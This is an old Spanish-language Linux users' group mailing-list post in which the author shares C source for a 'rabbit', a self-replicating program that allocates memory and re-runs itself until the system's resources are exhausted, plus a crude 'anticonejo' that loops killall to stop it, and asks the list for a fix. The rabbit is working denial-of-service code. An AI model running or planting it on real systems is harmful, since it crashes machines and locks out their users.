[LUG.ro] Un programita muy dan~ino.

David Cortarello lugro@lugro.org.ar
10 Dec 2002 04:43:30 -0000


Bueno, los otros días me senté a programar, y me salió de adentro mi parte malvada, por lo que quise realizar un conejo, el mismo es un programa que se reproduce hasta acabar con los recursos del sistema dejándolo inhabilitado, he intentado detenerlo, pero solo he podido hacer un programa (una especie de 'antivirus') que lo mata si se ejecuta a tiempo.
El conejo deben compilarlo como rabbit para que ande de forma correcta.
El hecho de que mando esta maldad a la lista es por saber si alguien le encuentra una solución, ya que visto esto cualquier usuario normal puede colgarnos el sistema de una forma más que genial.
Abajo incluyo el código del 'anticonejo', que solo andará si es corrido a tiempo, ya que sino ni el mismo podrá detenerlo, dado que tirará que no hay recursos suficientes para correr el programa, el anticonejo funciona y corre antes que el conejo por el hecho de que el conejo tiene que realizar una sentencia más (el hecho de tener que alojar memoria).


-------------------Código Conejo-------------------


/*
  Guardar como rabbit.c
  Compilar con gcc rabbit.c -o rabbit
  Programado con fines educativos
*/

#include <stdio.h>
#include <stdlib.h>

int main (void) 
{
    int *ptr;
    for(;;)
        {
        ptr = malloc(2000000);
        system("./rabbit");
        }
    return 0;
}



-------------------Código AntiConejo-------------------


/*
  Guardar como anticonejo.c
  Compilar con gcc anticonejo.c -o anticonejo
  Ejecutar con ./anticonejo
  Programado con fines educativos
*/

#include <stdio.h>
#include <stdlib.h>

int main (void) 
{
    for(;;)
        {
        system("killall rabbit");
        }
    return 0;
}


Comento que también realicé una versión para güindou$$$ que realiza la misma tarea que se realiza en Linux, con el hecho de que no se como matar un proceso en güindou$$$, en tal sentido no he hecho un 'anticonejo' para este 'OS' (¿OS?).